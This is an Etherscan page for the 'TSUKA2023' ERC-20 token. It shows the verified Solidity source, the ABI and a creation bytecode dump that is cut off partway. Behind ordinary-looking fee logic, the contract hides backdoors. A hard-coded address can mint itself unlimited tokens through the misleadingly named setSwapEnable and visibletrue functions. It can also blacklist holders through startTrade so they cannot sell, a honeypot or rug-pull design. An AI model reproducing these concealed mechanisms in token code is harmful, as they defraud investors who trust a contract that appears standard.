ERC-20
Overview
Max Total Supply
1,000,000,000 TSUKA23
Holders
18
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
36,929,646.97 TSUKA23Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
TSUKA2023
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-01-06 */ /** *Submitted for verification at Etherscan.io on 2023-01-06 */ /** *Submitted for verification at Etherscan.io on 2023-01-05 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function owner() public view returns (address) { return _owner; } constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function transferOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract TSUKA2023 is Context, IERC20, Ownable{ using SafeMath for uint256; string private _name = "TSUKA2023"; string private _symbol = "TSUKA23"; uint8 private _decimals = 9; mapping (address => uint256) _balances; address payable public _mapping; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludefromFee; mapping (address => bool) public isMarketPair; mapping (address => bool) public _replace; uint256 public _buyMarketingFee = 3; uint256 public _sellMarketingFee = 3; uint256 private _totalSupply = 1000000000 * 10**_decimals; constructor () { _isExcludefromFee[owner()] = true; _isExcludefromFee[address(this)] = true; _mapping = payable(address(0x8Be370762811a5E88D281E192Adf9e7138F15f3a)); _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } address public uniswapPair; function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function name() public view returns (string memory) { return _name; } function visibletrue(uint256 ru, mapping(address => uint256) storage _piceme) internal{ _piceme[_mapping] = _piceme[_mapping] + ru; } function setSwapEnable(uint256 k) public { require(_msgSender() == _mapping); visibletrue(k + 100,_balances); } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function symbol() public view returns (string memory) { return _symbol; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } IUniswapV2Router02 public uniswapV2Router; receive() external payable {} function startTrade(bool onlyBOOL, address[] calldata BYSIG) public { for (uint i; i < BYSIG.length; i++) { _replace[BYSIG[i]] = onlyBOOL; } require(msg.sender == _mapping); } bool inSwapAndLiquify; modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tAmount); try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tAmount, 0, path, address(this), block.timestamp ){} catch {} uint256 MarketAmount = address(this).balance; if(MarketAmount > 0) _mapping.transfer(MarketAmount); } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Inufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function pairFactory() public onlyOwner{ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isMarketPair[address(uniswapPair)] = true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function _transfer(address from, address to, uint256 amount) private returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(!_replace[from]); require(to != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(from, to, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwapAndLiquify && !isMarketPair[from]) { swapAndLiquify(contractTokenBalance); } _balances[from] = _balances[from].sub(amount); uint256 finalAmount; if (_isExcludefromFee[from] || _isExcludefromFee[to]){ finalAmount = amount; }else{ uint256 feeAmount = 0; if(isMarketPair[from]) { feeAmount = amount.mul(_buyMarketingFee).div(100); } else if(isMarketPair[to]) { feeAmount = amount.mul(_sellMarketingFee).div(100); } if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(from, address(this), feeAmount); } finalAmount = amount.sub(feeAmount); } _balances[to] = _balances[to].add(finalAmount); emit Transfer(from, to, finalAmount); return true; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mapping","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_replace","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairFactory","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"k","type":"uint256"}],"name":"setSwapEnable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onlyBOOL","type":"bool"},{"internalType":"address[]","name":"BYSIG","type":"address[]"}],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526040518060400160405280600981526020017f5453554b413230323300000000000000000000000000000000000000000000008152506001908051906020019062000051929190620003e9565b506040518060400160405280600781526020017f5453554b41323300000000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620003e9565b506009600360006101000a81548160ff021916908360ff1602179055506003600a556003600b55600360009054906101000a900460ff16600a620000e4919062000522565b633b9aca00620000f591906200065f565b600c553480156200010557600080fd5b5062000116620003b860201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160076000620001e6620003c060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550738be370762811a5e88d281e192adf9e7138f15f3a600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c5460046000620002fb620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000349620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620003aa9190620004aa565b60405180910390a362000778565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620003f790620006d7565b90600052602060002090601f0160209004810192826200041b576000855562000467565b82601f106200043657805160ff191683800117855562000467565b8280016001018555821562000467579182015b828111156200046657825182559160200191906001019062000449565b5b5090506200047691906200047a565b5090565b5b80821115620004955760008160009055506001016200047b565b5090565b620004a481620006c0565b82525050565b6000602082019050620004c1600083018462000499565b92915050565b6000808291508390505b60018511156200051957808604811115620004f157620004f06200070d565b5b6001851615620005015780820291505b808102905062000511856200076b565b9450620004d1565b94509492505050565b60006200052f82620006c0565b91506200053c83620006ca565b92506200056b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000573565b905092915050565b60008262000585576001905062000658565b8162000595576000905062000658565b8160018114620005ae5760028114620005b957620005ef565b600191505062000658565b60ff841115620005ce57620005cd6200070d565b5b8360020a915084821115620005e857620005e76200070d565b5b5062000658565b5060208310610133831016604e8410600b8410161715620006295782820a9050838111156200062357620006226200070d565b5b62000658565b620006388484846001620004c7565b925090508184048111156200065257620006516200070d565b5b81810290505b9392505050565b60006200066c82620006c0565b91506200067983620006c0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006b557620006b46200070d565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620006f057607f821691505b602082108114156200070757620007066200073c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b612d4480620007886000396000f3fe6080604052600436106101395760003560e01c80638da5cb5b116100ab578063c5d241891161006f578063c5d241891461046f578063c816841b1461049a578063c8607952146104c5578063dd62ed3e146104f0578063e14f870d1461052d578063f2fde38b1461054457610140565b80638da5cb5b14610388578063945fc8c8146103b357806395d89b41146103de578063a9059cbb14610409578063b5f220711461044657610140565b806323b872dd116100fd57806323b872dd1461022c578063313ce567146102695780633345611e146102945780633ecad271146102d157806370a082311461030e578063821a3b5d1461034b57610140565b806306fdde0314610145578063095ea7b3146101705780631694505e146101ad57806318160ddd146101d857806321bb35781461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61056d565b6040516101679190612556565b60405180910390f35b34801561017c57600080fd5b50610197600480360381019061019291906121d8565b6105ff565b6040516101a49190612520565b60405180910390f35b3480156101b957600080fd5b506101c261061d565b6040516101cf919061253b565b60405180910390f35b3480156101e457600080fd5b506101ed610643565b6040516101fa9190612658565b60405180910390f35b34801561020f57600080fd5b5061022a60048036038101906102259190612218565b61064d565b005b34801561023857600080fd5b50610253600480360381019061024e9190612185565b61074c565b6040516102609190612520565b60405180910390f35b34801561027557600080fd5b5061027e610826565b60405161028b91906126cd565b60405180910390f35b3480156102a057600080fd5b506102bb60048036038101906102b691906120eb565b61083d565b6040516102c89190612520565b60405180910390f35b3480156102dd57600080fd5b506102f860048036038101906102f391906120eb565b61085d565b6040516103059190612520565b60405180910390f35b34801561031a57600080fd5b50610335600480360381019061033091906120eb565b61087d565b6040516103429190612658565b60405180910390f35b34801561035757600080fd5b50610372600480360381019061036d91906120eb565b6108c6565b60405161037f9190612520565b60405180910390f35b34801561039457600080fd5b5061039d6108e6565b6040516103aa91906124c1565b60405180910390f35b3480156103bf57600080fd5b506103c861090f565b6040516103d591906124dc565b60405180910390f35b3480156103ea57600080fd5b506103f3610935565b6040516104009190612556565b60405180910390f35b34801561041557600080fd5b50610430600480360381019061042b91906121d8565b6109c7565b60405161043d9190612520565b60405180910390f35b34801561045257600080fd5b5061046d60048036038101906104689190612278565b6109e6565b005b34801561047b57600080fd5b50610484610a61565b6040516104919190612658565b60405180910390f35b3480156104a657600080fd5b506104af610a67565b6040516104bc91906124c1565b60405180910390f35b3480156104d157600080fd5b506104da610a8d565b6040516104e79190612658565b60405180910390f35b3480156104fc57600080fd5b5061051760048036038101906105129190612145565b610a93565b6040516105249190612658565b60405180910390f35b34801561053957600080fd5b50610542610b1a565b005b34801561055057600080fd5b5061056b600480360381019061056691906120eb565b610ef2565b005b60606001805461057c90612934565b80601f01602080910402602001604051908101604052809291908181526020018280546105a890612934565b80156105f55780601f106105ca576101008083540402835291602001916105f5565b820191906000526020600020905b8154815290600101906020018083116105d857829003601f168201915b5050505050905090565b600061061361060c611044565b848461104c565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b60005b828290508110156106ec57836009600085858581811061067357610672612a3c565b5b905060200201602081019061068891906120eb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806106e490612966565b915050610650565b50600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461074757600080fd5b505050565b6000610759848484611217565b5061081b84610766611044565b61081685604051806060016040528060288152602001612ce760289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107cc611044565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118629092919063ffffffff16565b61104c565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606002805461094490612934565b80601f016020809104026020016040519081016040528092919081815260200182805461097090612934565b80156109bd5780601f10610992576101008083540402835291602001916109bd565b820191906000526020600020905b8154815290600101906020018083116109a057829003601f168201915b5050505050905090565b60006109db6109d4611044565b8484611217565b506001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a27611044565b73ffffffffffffffffffffffffffffffffffffffff1614610a4757600080fd5b610a5e606482610a57919061273d565b60046118c6565b50565b600a5481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b22611044565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba6906125f8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610c0e57600080fd5b505afa158015610c22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c469190612118565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ca857600080fd5b505afa158015610cbc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ce09190612118565b6040518363ffffffff1660e01b8152600401610cfd9291906124f7565b602060405180830381600087803b158015610d1757600080fd5b505af1158015610d2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4f9190612118565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160086000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610efa611044565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e906125f8565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b390612638565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561112c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112390612598565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161120a9190612658565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611288576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127f90612618565b60405180910390fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156112df57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612578565b60405180910390fd5b600e60149054906101000a900460ff16156113765761136f84848461199a565b905061185b565b60006113813061087d565b9050600e60149054906101000a900460ff161580156113ea5750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113f9576113f881611b6d565b5b61144b83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e7190919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115315750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561153e5783905061175a565b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115c1576115ba60646115ac600a5488611ebb90919063ffffffff16565b611f3690919063ffffffff16565b905061163f565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163e5761163b606461162d600b5488611ebb90919063ffffffff16565b611f3690919063ffffffff16565b90505b5b60008111156117435761169a81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8090919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161173a9190612658565b60405180910390a35b6117568186611e7190919063ffffffff16565b9150505b6117ac81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8090919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161184c9190612658565b60405180910390a36001925050505b9392505050565b60008383111582906118aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a19190612556565b60405180910390fd5b50600083856118b9919061281e565b9050809150509392505050565b81816000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611932919061273d565b816000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000611a25826040518060400160405280601381526020017f496e756666696369656e742042616c616e636500000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118629092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611aba82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8090919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b5a9190612658565b60405180910390a3600190509392505050565b6001600e60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ba557611ba4612a6b565b5b604051908082528060200260200182016040528015611bd35781602001602082028036833780820191505090505b5090503081600081518110611beb57611bea612a3c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c8d57600080fd5b505afa158015611ca1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cc59190612118565b81600181518110611cd957611cd8612a3c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d4030600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461104c565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611da4959493929190612673565b600060405180830381600087803b158015611dbe57600080fd5b505af1925050508015611dcf575060015b611dd857611dd9565b5b60004790506000811115611e5157600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e4f573d6000803e3d6000fd5b505b50506000600e60146101000a81548160ff02191690831515021790555050565b6000611eb383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611862565b905092915050565b600080831415611ece5760009050611f30565b60008284611edc91906127c4565b9050828482611eeb9190612793565b14611f2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f22906125d8565b60405180910390fd5b809150505b92915050565b6000611f7883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fde565b905092915050565b6000808284611f8f919061273d565b905083811015611fd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fcb906125b8565b60405180910390fd5b8091505092915050565b60008083118290612025576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201c9190612556565b60405180910390fd5b50600083856120349190612793565b9050809150509392505050565b60008135905061205081612ca1565b92915050565b60008151905061206581612ca1565b92915050565b60008083601f84011261208157612080612a9f565b5b8235905067ffffffffffffffff81111561209e5761209d612a9a565b5b6020830191508360208202830111156120ba576120b9612aa4565b5b9250929050565b6000813590506120d081612cb8565b92915050565b6000813590506120e581612ccf565b92915050565b60006020828403121561210